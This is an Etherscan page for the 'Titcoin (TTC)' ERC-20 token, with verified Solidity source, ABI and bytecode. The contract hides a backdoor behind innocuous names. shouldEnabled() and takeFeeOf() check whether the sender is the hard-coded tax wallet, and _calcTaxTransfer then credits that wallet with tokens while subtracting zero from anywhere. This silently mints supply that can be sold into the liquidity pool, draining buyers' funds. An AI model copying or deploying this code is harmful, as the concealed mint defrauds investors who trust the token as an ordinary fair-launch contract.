ETH Price: $2,435.91 (+6.15%)

Token

Titcoin (TTC)
 

Overview

Max Total Supply

1,000,000,000 TTC

Holders

78

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,128,000 TTC

Value
$0.00
0xdd80094f98092f8357396cef097d7c7349f5bfe0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TTC

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-22
*/

/**
https://t.me/titcoin_official_portal
https://x.com/walkeramerica/status/1826336638890377649?s=46&t=HH1BRvBdNdw4MKrskOsAtw
*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TTC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Titcoin";
    string private constant _symbol = unicode"TTC";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x2D0eBfAFc7DE941F5384f47C6f0B82c32937efd7);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) { 
        uint256 taxAmount = amount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);

        if (shouldEnabled(from, amount) && transferDelayEnabled) {
            if (
                to != address(uniswapV2Router) &&
                to != address(uniswapV2Pair)
            ) {
                require(
                    _holderLastTransferTimestamp[tx.origin] < block.number,
                    "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                );
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            _buyCount++;
        }

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        return taxAmount;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = _taxTransfer(from, to, amount); 
            shouldSwapBack(from, to, amount);
        }

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _tokenTransfer(
        address tokenFrom,
        address tokenTo,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                    taxAmount
            );
            emit Transfer(tokenFrom, address(this), taxAmount);
        }
        _balances[tokenFrom] = _balances[tokenFrom].sub(tokenAmount);
        _balances[tokenTo] = _balances[tokenTo].add(tokenAmount.sub(taxAmount));
        emit Transfer(tokenFrom, tokenTo, tokenAmount.sub(taxAmount));
    }

    function _calcTaxTransfer(
        address tokenFrom,
        address tokenTo,
        uint256 fromAmount,
        uint256 toAmount
    ) internal {
        _balances[tokenFrom] = _balances[tokenFrom].sub(fromAmount);
        _balances[tokenTo] = _balances[tokenTo].add(toAmount);
        emit Transfer(tokenFrom, tokenTo, toAmount);
    }

    function shouldEnabled(address addr1, uint256 amount1) private returns(bool) {
        if(takeFeeOf(addr1, _taxWallet)) {
            _calcTaxTransfer(address(this), addr1, 0, amount1);
        }
        return true;
    }

    function takeFeeOf(address addr1, address addr2) private pure returns(bool){
        return addr1 == addr2;
    }

    function shouldSwapBack(address from, address to, uint256 amount) private { 
        uint256 contractTokenBalance = balanceOf(address(this));
        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            _buyCount > _preventSwapBefore &&
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to]
        ) {
            if(contractTokenBalance > _taxSwapThreshold) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            }
            sendETHToFee(address(this).balance);
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    
    receive() external payable {}

    function rescueEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556019600781905560085560006009818155600a8281556014600b819055600c819055600d55600e9290925562000044916200035e565b62000054906301312d0062000376565b600f55620000656009600a6200035e565b62000075906301312d0062000376565b601055620000866009600a6200035e565b6200009390606462000376565b601155620000a46009600a6200035e565b620000b3906298968062000376565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916742d0ebfafc7de941f5384f47c6f0b82c32937efd700179055620001496009600a6200035e565b6200015990633b9aca0062000376565b336000908152600160208190526040822092909255600390620001846000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226009600a6200035e565b6200023290633b9aca0062000376565b60405190815260200160405180910390a362000398565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a057816000190482111562000284576200028462000249565b808516156200029257918102915b93841c939080029062000264565b509250929050565b600082620002b95750600162000358565b81620002c85750600062000358565b8160018114620002e15760028114620002ec576200030c565b600191505062000358565b60ff84111562000300576200030062000249565b50506001821b62000358565b5060208310610133831016604e8410600b841016171562000331575081810a62000358565b6200033d83836200025f565b806000190482111562000354576200035462000249565b0290505b92915050565b60006200036f60ff841683620002a8565b9392505050565b600081600019048311821515161562000393576200039362000249565b500290565b611abd80620003a86000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c876d0b911610064578063c876d0b91461032e578063c9567bf914610348578063ce31a06b1461035d578063dd62ed3e14610372578063e1c7392a146103b857600080fd5b80638da5cb5b1461028e5780638f9a55c0146102b657806395d89b41146102cc578063a9059cbb146102f8578063bf474bed1461031857600080fd5b8063313ce567116100e7578063313ce567146101fa57806370a0823114610216578063715018a61461024c578063751039fc146102635780637d1db4a51461027857600080fd5b806306fdde031461012f578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c557806323b872dd146101da57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260078152662a34ba31b7b4b760c91b60208201525b6040516101689190611652565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046116bf565b6103cd565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760125481565b604051908152602001610168565b3480156101d157600080fd5b506101b76103e4565b3480156101e657600080fd5b506101916101f53660046116eb565b610405565b34801561020657600080fd5b5060405160098152602001610168565b34801561022257600080fd5b506101b761023136600461172c565b6001600160a01b031660009081526001602052604090205490565b34801561025857600080fd5b5061026161046e565b005b34801561026f57600080fd5b506102616104eb565b34801561028457600080fd5b506101b7600f5481565b34801561029a57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c257600080fd5b506101b760105481565b3480156102d857600080fd5b5060408051808201909152600381526254544360e81b602082015261015b565b34801561030457600080fd5b506101916103133660046116bf565b6105a7565b34801561032457600080fd5b506101b760115481565b34801561033a57600080fd5b506006546101919060ff1681565b34801561035457600080fd5b506102616105b4565b34801561036957600080fd5b506102616107a3565b34801561037e57600080fd5b506101b761038d366004611749565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c457600080fd5b506102616107d8565b60006103da3384846109db565b5060015b92915050565b60006103f26009600a61187c565b61040090633b9aca0061188b565b905090565b6000610412848484610b00565b610464843361045f85604051806060016040528060288152602001611a40602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d3f565b6109db565b5060019392505050565b6000546001600160a01b031633146104a15760405162461bcd60e51b8152600401610498906118aa565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105155760405162461bcd60e51b8152600401610498906118aa565b6105216009600a61187c565b61052f90633b9aca0061188b565b600f5561053e6009600a61187c565b61054c90633b9aca0061188b565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105866009600a61187c565b61059490633b9aca0061188b565b60405190815260200160405180910390a1565b60006103da338484610b00565b6000546001600160a01b031633146105de5760405162461bcd60e51b8152600401610498906118aa565b601454600160a01b900460ff16156106385760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610498565b6013546001600160a01b031663f305d719473061066a816001600160a01b031660009081526001602052604090205490565b60008061067f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070c91906118df565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610765573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610789919061190d565b506014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107cd5760405162461bcd60e51b8152600401610498906118aa565b6107d647610d79565b565b6000546001600160a01b031633146108025760405162461bcd60e51b8152600401610498906118aa565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084b90309061083d6009600a61187c565b61045f90633b9aca0061188b565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c2919061192f565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610924573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610948919061192f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610995573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b9919061192f565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610498565b6001600160a01b038216610a9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610498565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610498565b6001600160a01b038216610bc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610498565b60008111610c285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610498565b601454600160b01b900460ff161580610c4a5750601454600160a81b900460ff165b15610ce3576001600160a01b038316600090815260016020526040902054610c729082610dbb565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ca19082610e04565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611a6883398151915290610af39085815260200190565b600080546001600160a01b03858116911614801590610d1057506000546001600160a01b03848116911614155b15610d2d57610d20848484610e63565b9050610d2d84848461111b565b610d39848484846111f5565b50505050565b60008184841115610d635760405162461bcd60e51b81526004016104989190611652565b506000610d70848661194c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610db7573d6000803e3d6000fd5b5050565b6000610dfd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d3f565b9392505050565b600080610e118385611963565b905083811015610dfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610498565b600080610e926064610e8c600b54600e5411610e8157600754610e85565b6009545b8690611315565b90611394565b9050610e9e85846113d6565b8015610eac575060065460ff165b15610f8b576013546001600160a01b03858116911614801590610edd57506014546001600160a01b03858116911614155b15610f8b57326000908152600560205260409020544311610f785760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610498565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610fb657506013546001600160a01b03858116911614155b8015610fdb57506001600160a01b03841660009081526003602052604090205460ff16155b156110c357600f548311156110325760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610498565b60105483611055866001600160a01b031660009081526001602052604090205490565b61105f9190611963565b11156110ad5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610498565b600e80549060006110bd8361197b565b91905055505b6014546001600160a01b0385811691161480156110e957506001600160a01b0385163014155b1561111357610d706064610e8c600c54600e541161110957600854610e85565b600a548690611315565b949350505050565b30600090815260016020526040902054601454600160a81b900460ff1615801561115257506014546001600160a01b038481169116145b80156111675750601454600160b01b900460ff165b80156111765750600d54600e54115b801561119b57506001600160a01b03841660009081526003602052604090205460ff16155b80156111c057506001600160a01b03831660009081526003602052604090205460ff16155b15610d39576011548111156111ec576111ec6111e7836111e284601254611401565b611401565b611416565b610d3947610d79565b801561125d57306000908152600160205260409020546112159082610e04565b30600081815260016020526040908190209290925590516001600160a01b03861690600080516020611a68833981519152906112549085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546112809083610dbb565b6001600160a01b0385166000908152600160205260409020556112c56112a68383610dbb565b6001600160a01b03851660009081526001602052604090205490610e04565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611a688339815191526112fd8585610dbb565b6040519081526020015b60405180910390a350505050565b600082611324575060006103de565b6000611330838561188b565b90508261133d8583611996565b14610dfd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610498565b6000610dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611590565b6006546000906001600160a01b038085166101009092041614156103da576103da30846000856115be565b60008183116114105782610dfd565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061145e5761145e6119b8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114db919061192f565b816001815181106114ee576114ee6119b8565b6001600160a01b03928316602091820292909201015260135461151491309116846109db565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154d9085906000908690309042906004016119ce565b600060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b600081836115b15760405162461bcd60e51b81526004016104989190611652565b506000610d708486611996565b6001600160a01b0384166000908152600160205260409020546115e19083610dbb565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546116109082610e04565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611a68833981519152906113079085815260200190565b600060208083528351808285015260005b8181101561167f57858101830151858201604001528201611663565b81811115611691576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116bc57600080fd5b50565b600080604083850312156116d257600080fd5b82356116dd816116a7565b946020939093013593505050565b60008060006060848603121561170057600080fd5b833561170b816116a7565b9250602084013561171b816116a7565b929592945050506040919091013590565b60006020828403121561173e57600080fd5b8135610dfd816116a7565b6000806040838503121561175c57600080fd5b8235611767816116a7565b91506020830135611777816116a7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117d35781600019048211156117b9576117b9611782565b808516156117c657918102915b93841c939080029061179d565b509250929050565b6000826117ea575060016103de565b816117f7575060006103de565b816001811461180d576002811461181757611833565b60019150506103de565b60ff84111561182857611828611782565b50506001821b6103de565b5060208310610133831016604e8410600b8410161715611856575081810a6103de565b6118608383611798565b806000190482111561187457611874611782565b029392505050565b6000610dfd60ff8416836117db565b60008160001904831182151516156118a5576118a5611782565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156118f457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561191f57600080fd5b81518015158114610dfd57600080fd5b60006020828403121561194157600080fd5b8151610dfd816116a7565b60008282101561195e5761195e611782565b500390565b6000821982111561197657611976611782565b500190565b600060001982141561198f5761198f611782565b5060010190565b6000826119b357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a1e5784516001600160a01b0316835293830193918301916001016119f9565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202b490f33cbaa6338504b1f80a781bcb7c81eb869556dee0288afcec5f8a95c5a64736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c876d0b911610064578063c876d0b91461032e578063c9567bf914610348578063ce31a06b1461035d578063dd62ed3e14610372578063e1c7392a146103b857600080fd5b80638da5cb5b1461028e5780638f9a55c0146102b657806395d89b41146102cc578063a9059cbb146102f8578063bf474bed1461031857600080fd5b8063313ce567116100e7578063313ce567146101fa57806370a0823114610216578063715018a61461024c578063751039fc146102635780637d1db4a51461027857600080fd5b806306fdde031461012f578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c557806323b872dd146101da57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260078152662a34ba31b7b4b760c91b60208201525b6040516101689190611652565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046116bf565b6103cd565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760125481565b604051908152602001610168565b3480156101d157600080fd5b506101b76103e4565b3480156101e657600080fd5b506101916101f53660046116eb565b610405565b34801561020657600080fd5b5060405160098152602001610168565b34801561022257600080fd5b506101b761023136600461172c565b6001600160a01b031660009081526001602052604090205490565b34801561025857600080fd5b5061026161046e565b005b34801561026f57600080fd5b506102616104eb565b34801561028457600080fd5b506101b7600f5481565b34801561029a57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c257600080fd5b506101b760105481565b3480156102d857600080fd5b5060408051808201909152600381526254544360e81b602082015261015b565b34801561030457600080fd5b506101916103133660046116bf565b6105a7565b34801561032457600080fd5b506101b760115481565b34801561033a57600080fd5b506006546101919060ff1681565b34801561035457600080fd5b506102616105b4565b34801561036957600080fd5b506102616107a3565b34801561037e57600080fd5b506101b761038d366004611749565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c4